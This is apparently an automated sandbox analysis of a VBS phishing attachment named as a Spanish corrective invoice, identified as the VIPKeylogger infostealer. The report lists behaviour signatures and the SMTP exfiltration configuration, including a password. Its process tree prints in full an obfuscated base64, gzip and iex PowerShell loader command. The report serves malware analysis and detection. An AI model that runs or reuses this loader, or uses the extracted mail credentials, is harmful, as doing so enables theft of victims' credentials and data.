Analysis
- max time kernel
149s - max time network
123s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
08/11/2025, 16:47
General
- Target Factura Rectificativa ES 2025.11.06.vbs
- Size 289KB
- Sample251108-vansws1ral
- SHA256 6f96b534bcfec55b97dbeb18cbeaf59c2a7b745e667fea1a0998b1ff9df72b45
Malware Config
Extracted
-
Protocol
smtp
-
Host
webmail.denizmesrubat.com.tr
-
Port
587
-
Username
-
Password
88X@0eea
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
webmail.denizmesrubat.com.tr
-
Port
587
-
Username
-
Password
88X@0eea
-
Email to
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Vipkeylogger family
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 2 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Factura Rectificativa ES 2025.11.06.vbs"1⤵
-
C:\Windows\system32\cmd.execmd.exe /c C:\\Users\\Public\\PlantationBase.bat1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Public\PlantationBase.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Public\PlantationBase.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -noni -ep bypass -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAKACQAYwA9ACcASAA0AHMASQBBAEEAQQBwydecvsypjjyBAEEAQQBBAEUAQQBIADIAUgBYAFcAdgBDAEwydecvsypjjy0AQgBTAEcALwA0AHEARQBEAEoAcAB0AEYAcwydecvsypjjygBUAHQATABpAHAAbABzAEYASABIAFEASgBqwydecvsypjjyADQAYwBlAFgARwBpAE4AMwBSAEIAcgB1AGswydecvsypjjyAcABFAGYAcgBxAFAAMwB2AHAAcwBSADUATQwydecvsypjjyBWAGoASQB4AFoAdQBjADkAMwAxAE8AdgB1AwydecvsypjjyGkAYQBTAHoATQBTAFEAawBFAGUANAB1AFUAwydecvsypjjyOABuAFUAMQBuAGIAKwBQAFgAUwBmAHIATwBwydecvsypjjyWAGUAYQB2AE8AWgBLAFIAMgBIAGcATABxAEwydecvsypjjywAQQAvADUAWgBqADMAcQBNADIAegBoAG0AcwydecvsypjjyABlAFQANABTAEUASwB0AGwAbQB2ADkAWABUwydecvsypjjyAFkAMABNAC8AZQAvADEAQwA3AEsAQgBIADQwydecvsypjjyAagBpACsASgBlADIASQBsAGwAegBqAEkAUAwydecvsypjjyBHAHUAKwBiACsAaABnAFUAbQBkAGIAawB6AwydecvsypjjyE4AbgArAC8AWABGAFcAbwBoAHQAMQA3AEkAwydecvsypjjyVwBtAGIASgBvAFkATQBjAE8AcwBuAEEAUQBwydecvsypjjyRAFoATwBNAG4AUwBRAG8AWgBPAE0ASABHAFwydecvsypjjyQAMABMADcAawBUAHQAVQBqAHMATwA5ADMAWwydecvsypjjygBTADEAcwBKAHIASQBSAFcAbwBoAEgAbABawydecvsypjjyAFYAbQBBADIAYQBJAEQAKwBoAHIASwBnAG0wydecvsypjjyAZABBAEoATgBTAGwAMABwAGoAdgBKAFoAcQwydecvsypjjyBXAHEAQwBTADUASgArAFQAcQAxAGgAdgBkAwydecvsypjjyHIAVgBuADMAaQA1AFoAbgBEAGUAcQBmAFIAwydecvsypjjycwBEAFIAVwB5ADMAZwBpAEgANABxAE0ALwBwydecvsypjjyWAGwAeQBJADgANABYAGsAcABoADUAdQBDACwydecvsypjjy8AQQBNADcAdABBAFYAZgBQAFMAaAA1AEEAbwydecvsypjjywB6AEgASABXAG4AMAAvADgAUQBvAGUAdwBvwydecvsypjjyAHQAMwBhAGMAZABZAG0AMwBIAE0AOABxAFowydecvsypjjyAdAAyAHoATQBIAEUAeABFAHUAVABnAEkAQQwydecvsypjjyBBAEEAPQA9ACcAOwAkAG0AcwA9AE4AZQB3AwydecvsypjjyC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAwydecvsypjjybQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAWwBwydecvsypjjyDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAGwydecvsypjjy0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKwydecvsypjjyAAkAGMAKQApADsAJABnAHoAPQBOAGUAdwAtwydecvsypjjyAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0wydecvsypjjyAcAByAGUAcwBzAGkAbwBuAC4ARwBaAGkAcAwydecvsypjjyBTAHQAcgBlAGEAbQAoACQAbQBzACwAWwBJAwydecvsypjjyE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4AwydecvsypjjyLgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBwydecvsypjjyvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGwydecvsypjjyUAcwBzACkAOwAkAHMAcgA9AE4AZQB3AC0ATwydecvsypjjywBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlwydecvsypjjyAGEAbQBSAGUAYQBkAGUAcgAoACQAZwB6ACkwydecvsypjjyAOwBpAGUAeAAoACQAcwByAC4AUgBlAGEAZAwydecvsypjjyBUAG8ARQBuAGQAKAApACkAOwAkAHMAcgAuAwydecvsypjjyEMAbABvAHMAZQAoACkAOwAkAGcAegAuAEMAwydecvsypjjybABvAHMAZQAoACkAOwAkAG0AcwAuAEMAbABwydecvsypjjyvAHMAZQAoACkAOwAKACQAcAAxAD0AJwBIADwydecvsypjjyQAcwBJAEEAQQBBAEEAQQBBAEEARQBBAEYAMwydecvsypjjygBUAHgANgA3AGoAVgBnAHgAQQBmAHkAVwBMwydecvsypjjyAEEAZgBJAE0ASgBTAE4AWgAxAFoANQBnAEYwydecvsypjjyAdQBwAFcAcwAvAHEAVgByAEMAQQBMADkAZAwydecvsypjjyA2AGIAcABhAC8AUABTAHkAYQBMAEoARgB5AwydecvsypjjyFIAQgA0AGMARQBBAFkASgBmAHkAdQA4AC8AwydecvsypjjyUAAvAEIAWgBvAG4AOABFAFQAOAB2AEEARABwydecvsypjjySAEUANAAwAGgAagBuAHIAcgB3AGoANQBTAGwydecvsypjjy8ANgBvAHkAcgBnAGsAVABzAHUATgAwAFYAewydecvsypjjyABkADQAYgAyAHYAVQBWAC8AVwBvAGgAdQAxwydecvsypjjyAGcAdQBKAFIAVwArAGEAUgBHAHQASQAxAHUwydecvsypjjyASAAwAGYAdABZAFQAMwBvAGYAaQBTAGYAQwwydecvsypjjyBhADcAeABQAEUAbQA0AG8AaAA4AGoAbwA1AwydecvsypjjyGwAYwBMAGsATgBuAEgAUQBpAG4AZgAxAGgAwydecvsypjjyMwBUAEUARABCAEMAcQAyAGQAaQBNAHMASQBwydecvsypjjyqAGMAVwBEADQAaAB4AHUAdQBiAHcASABuAEwydecvsypjjyoAZwBoAFoANgBhADYAUgBVAFkAdQA1ADkARwydecvsypjjygA0ADAANQBZAFEAcABsAHAANABoAEkAdgB6wydecvsypjjyADgAagBkAGkANwB5ADIAWQBhADEAVQBvAG0wydecvsypjjyAeABXADMANABUAGMAagBHAFkANwBnAGMAMAwydecvsypjjyBrAEIANAByAFAAbQBaAHoAawBLAFMAeABDAwydecvsypjjyGgAWgBXAHgAbgB1AEQAYwBSAHQAUgByAEIAwydecvsypjjyTABhAFcATQBEAG8AbQBBAEsAZgBwADUAagAwydecvsypjjy3AEoARgByADgAZABBADAAOABmADUATAAxAFwydecvsypjjykAUgBZADgATgA3ADkAQgBOAGEAdwBiADQAewydecvsypjjyABHAFMASwBFAGcAbwB6AEQATgBWAEQAawBZwydecvsypjjyAEoARQAzAFoAawBDAHcAMQBmAEsAOQBJAGMwydecvsypjjyAdgBPAFgAbgBXAFUAbgBtAGsAVABNAEcAOAwydecvsypjjyA0AEsATQA4AG0AVgB0AEIAWQBIAGIAUgBYAwydecvsypjjyHYAMwA2AFEANQB6ACsARgBtAHQAbwBKAEgAwydecvsypjjyeQBOAHgAcwA4AGQAcQBTAG0AawBEADEANQBwydecvsypjjyNAEUAUgBDAHIAWQBkAEUAeQBXAHAAYQBMAFwydecvsypjjyoAcwBDAGMAOQBnADIATABGAEUAWgByAGIASwydecvsypjjywAzAFoAQwBjAEcAUQArADUAdABtAEkAbwA3wydecvsypjjyAFcAZQB4AFEATQBzAE4ATABSAFkAWQArAGwwydecvsypjjyAYwBKAEoAVgBzAEIANABHAG0AYgBYAEgAVwwydecvsypjjyBCAFMAdwBXAGoAZQBWAHMAWQBxADIAZgBqAwydecvsypjjyFQAUQBOADIAYQBJADAAWgBiAGgASgBaAGQAwydecvsypjjyQgBkAFIAeQBwAHYAbQBDAHoANwBPAHYAaAAwydecvsypjjy2AC8AWgBYAFMATQAvAGUAbAAxAFgAbQBVAEwydecvsypjjyEAeABPAEIAQgBaAGsAWgBYAE8AegBaAGEAYwydecvsypjjygBLAEYAQQBNAHoASgA3AHAARAByAEIAQgB2wydecvsypjjyAEwAWABkAEEAcgBvAGkAcwBSADgAbwBKAEkwydecvsypjjyANABiADMAZwBiAHEARwA2AFgAcQBjAEwANwwydecvsypjjyBXAEMAbABVAEEAYgBiAHUAZQAxAEcAdgBQAwydecvsypjjyFgAVwA4AHAAMABLAHoASABJAHYANgBoAEYAwydecvsypjjyeABWAEkANgBOAGUAMABrAHIAdAA5AG4ASwBwydecvsypjjymAHkAMgBsAC8AdgAyADIAbABUAFgARQAwAGwydecvsypjjy0AJwA7ACQAcAAyAD0AJwBCAGYAegA0AFAASwydecvsypjjyABGAHMAeQA3AFQAZABhAEwAWABSAHIAZgBswydecvsypjjyAGgAeQA0AFUASABhAG4AQwBQADQAbAB5ADgwydecvsypjjyAUQA2AHIAbwA2AEUAOQBQAHMAKwBQAEsATQwydecvsypjjyA4AFYAVwB6ADkAZgBsAE4AcABNACsAZABKAwydecvsypjjyDEAUgA0AE4AWgBvAGoAbgB1AFQAawBYAEoAwydecvsypjjyKwBnAHAAdAA1AG0AegB1ACsAdQBrADcARABwydecvsypjjyyAHAATgBvAG8AaAA0AHgAQgBuAE8AawBuAEwydecvsypjjygAVABUAFoAQQBEAHcAQwBIAEsAZQBGADUAawydecvsypjjyQAzAGkAUQB4AFMAOQBxAHEAaQBqAEsAcgBywydecvsypjjyAHcAVABDAHAAYgBRAG4ATgBEAEIANwBJAEYwydecvsypjjyAMQBZAGsAbgBPAFMAOABXAFYAUwBJAHAAWAwydecvsypjjyBuAG8AdgBSAHMAZQBlAEUAUABGAEUAOQBCAwydecvsypjjyFoAOABUAEMAOQBOAEgAbABvAHgAVwB1AGcAwydecvsypjjyOQBHAHQALwBrAG8AagBWADcAQgBOADIAZABwydecvsypjjy1AEwARAAwAFQAQwBxAG0AUgBUAFQAbwBSAGwydecvsypjjyIAWABDAHAAZwBNADMARgB3AEIAUgBQAEcAQwydecvsypjjygA5ADUAawB4AEgAdQBQAHoASABzAGIASQBVwydecvsypjjyAFcARQByAFQAZABlAFIAbQA5AGkAQwBnAEgwydecvsypjjyAcQArAFIAeQBlAFUANwBkAG8AQQA4ADYAQgwydecvsypjjyAzAFIAVQAvADYAcQArAFUASQB5AGQARwBXAwydecvsypjjyGIAVABTADEAVAB1ADIARAA1AE8AQQBZADkAwydecvsypjjydABsADQAaQBoAFkANQBTAGkAaABwAFQAZABwydecvsypjjyyAHIAUwBuADQAVQBPAGUAUgA2ADkAOABLADwydecvsypjjyAANwBJAFcAdwBuADUARQAwAEwAZABZADQANwydecvsypjjygBqAHkAdQBLAHcATABiAEoAUAA1AG8AaAAxwydecvsypjjyADAAcwBPADkAMAAxAGUAQwB3AFEAaAB3AHowydecvsypjjyAWgA3AGUAYQBpAHEAeAAyAEoANABVAGwAZQwydecvsypjjyB1ADgAawBOADEAbQAxADMARwBxAE8ASQBFAwydecvsypjjyEMAdgB5AGcASQBYAHAANgBPAFEAVwBkAGIAwydecvsypjjyYgAyAG4AcgB5AHIAQQBlAFMAagBLAG0AVQBwydecvsypjjyRAEcAZABVADMANwBCAHoAQgBGAE0ARwBWAGwydecvsypjjy8AbgA2AHcATABsAHoAZQByAHgAUABKAHQAUwydecvsypjjygBxAHUASwBwAGgAUwA5AFEAaQByADIATQBxwydecvsypjjyAGgAVQBPAHUASQB2ADkAQQBBAEcAQgAyAE8wydecvsypjjyAcQBIAGMASAAyAGkAMAB2AHcAcAB6ADgAOQwydecvsypjjyBmAG4AcQAzADcALwAvAC8ARgB1AFoAdgBqAwydecvsypjjyDgAKwBuAHUAbgArAHEAeAA1AFYAYQBiAHoAwydecvsypjjyOABKAE8AbABmADcAVwBWAEsAdwA5AFoASwBwydecvsypjjy3AHkAUwBkAFAAbgA3AC8AQgBHAHoAZgBEAGwydecvsypjjywATQA2AHoAMgBYAGYAZgBSAFcARABjAHYAZwydecvsypjjywBoAC8AUABIAHQAVwA1AGYAdQBmAHcAdABhwydecvsypjjyADIAdgBiAFQAOABWAC8ATQA5AHQAMgBXAFQwydecvsypjjyAcwB0AG4ASwBVAHgAOQB5ADQAUgB6AFMAdQwydecvsypjjyBLAGYAUgB0AG4AbABIADEALwBLAHkAKwBXAwydecvsypjjyFgALwB3AC8AKwBWADYANwAxAFMAZgByAFoAwydecvsypjjyeAA2AFgAeABQACsAeAB5AHUAWAB6ADkAYQBwydecvsypjjy4ACsAbgA1ADcAdgBrADQAMwBMADUARQB3AHwydecvsypjjycASABxAGMAUwB6AEIAQQBBAEEAJwA7ACQAZwydecvsypjjyAA9ACQAcAAxACsAJABwADIAOwAkAG0AcwAywydecvsypjjyAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkwydecvsypjjyATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQwydecvsypjjyBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6AwydecvsypjjyDoARgByAG8AbQBCAGEAcwBlADYANABTAHQAwydecvsypjjycgBpAG4AZwAoACQAZAApACkAOwAkAGcAegAwydecvsypjjyyAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEwydecvsypjjykATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbwydecvsypjjygAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkwydecvsypjjyAG0AcwAyACwAWwBJAE8ALgBDAG8AbQBwAHIwydecvsypjjyAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQwydecvsypjjyBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAwydecvsypjjyGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAHMAwydecvsypjjycgAyAD0ATgBlAHcALQBPAGIAagBlAGMAdAAwydecvsypjjygAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGwydecvsypjjyQAZQByACgAJABnAHoAMgApADsAaQBlAHgAKwydecvsypjjyAAkAHMAcgAyAC4AUgBlAGEAZABUAG8ARQBuwydecvsypjjyAGQAKAApACkAOwAkAHMAcgAyAC4AQwBsAG8wydecvsypjjyAcwBlACgAKQA7ACQAZwB6ADIALgBDAGwAbwwydecvsypjjyBzAGUAKAApADsAJABtAHMAMgAuAEMAbABvAwydecvsypjjyHMAZQAoACkACgA='.Replace('wydecvsypjjy','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Accesses Microsoft Outlook profiles
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_bb0zwqu4.0fj.ps1
PlantationBase.bat
memory/2456-29-0x00000000035E0000-0x00000000035F0000-memory.dmp
memory/2456-36-0x0000000007EE0000-0x0000000007EFE000-memory.dmp
memory/2456-7-0x0000000005D20000-0x000000000634A000-memory.dmp
memory/2456-8-0x0000000005C50000-0x0000000005C72000-memory.dmp
memory/2456-9-0x0000000006350000-0x00000000063B6000-memory.dmp
memory/2456-10-0x00000000063C0000-0x0000000006426000-memory.dmp
memory/2456-5-0x00000000056B0000-0x00000000056E6000-memory.dmp
memory/2456-17-0x00000000064F0000-0x0000000006847000-memory.dmp
memory/2456-18-0x0000000006A10000-0x0000000006A2E000-memory.dmp
memory/2456-37-0x0000000007F10000-0x0000000007FB4000-memory.dmp
memory/2456-20-0x0000000008350000-0x00000000089CA000-memory.dmp
memory/2456-21-0x0000000007AF0000-0x0000000007B0A000-memory.dmp
memory/2456-22-0x0000000007CD0000-0x0000000007D66000-memory.dmp
memory/2456-23-0x0000000007BC0000-0x0000000007BE2000-memory.dmp
memory/2456-24-0x00000000089D0000-0x0000000008F76000-memory.dmp
memory/2456-26-0x000000007EF30000-0x000000007EF40000-memory.dmp
memory/2456-27-0x0000000007E80000-0x0000000007EB4000-memory.dmp
memory/2456-28-0x0000000071280000-0x00000000712CC000-memory.dmp
memory/2456-6-0x00000000035E0000-0x00000000035F0000-memory.dmp
memory/2456-4-0x00000000035E0000-0x00000000035F0000-memory.dmp
memory/2456-19-0x0000000006AB0000-0x0000000006AFC000-memory.dmp
memory/2456-38-0x0000000008010000-0x000000000801A000-memory.dmp
memory/2456-39-0x0000000008180000-0x0000000008191000-memory.dmp
memory/2456-40-0x0000000007E30000-0x0000000007E38000-memory.dmp
memory/2456-41-0x0000000007FF0000-0x0000000008008000-memory.dmp
memory/2456-43-0x00000000081D0000-0x000000000821A000-memory.dmp
memory/2456-44-0x0000000008F80000-0x000000000901C000-memory.dmp
memory/2456-45-0x00000000035E0000-0x00000000035F0000-memory.dmp
memory/2456-46-0x00000000035E0000-0x00000000035F0000-memory.dmp
memory/2456-47-0x000000007EF30000-0x000000007EF40000-memory.dmp
memory/2456-48-0x00000000035E0000-0x00000000035F0000-memory.dmp
memory/2456-49-0x00000000092F0000-0x00000000094B2000-memory.dmp
memory/2456-50-0x0000000009140000-0x0000000009190000-memory.dmp
memory/2456-51-0x00000000099F0000-0x0000000009F1C000-memory.dmp
memory/2456-53-0x0000000009560000-0x00000000095F2000-memory.dmp
memory/2456-54-0x00000000035E0000-0x00000000035F0000-memory.dmp
memory/2456-55-0x0000000009270000-0x000000000927A000-memory.dmp
memory/2456-56-0x00000000035E0000-0x00000000035F0000-memory.dmp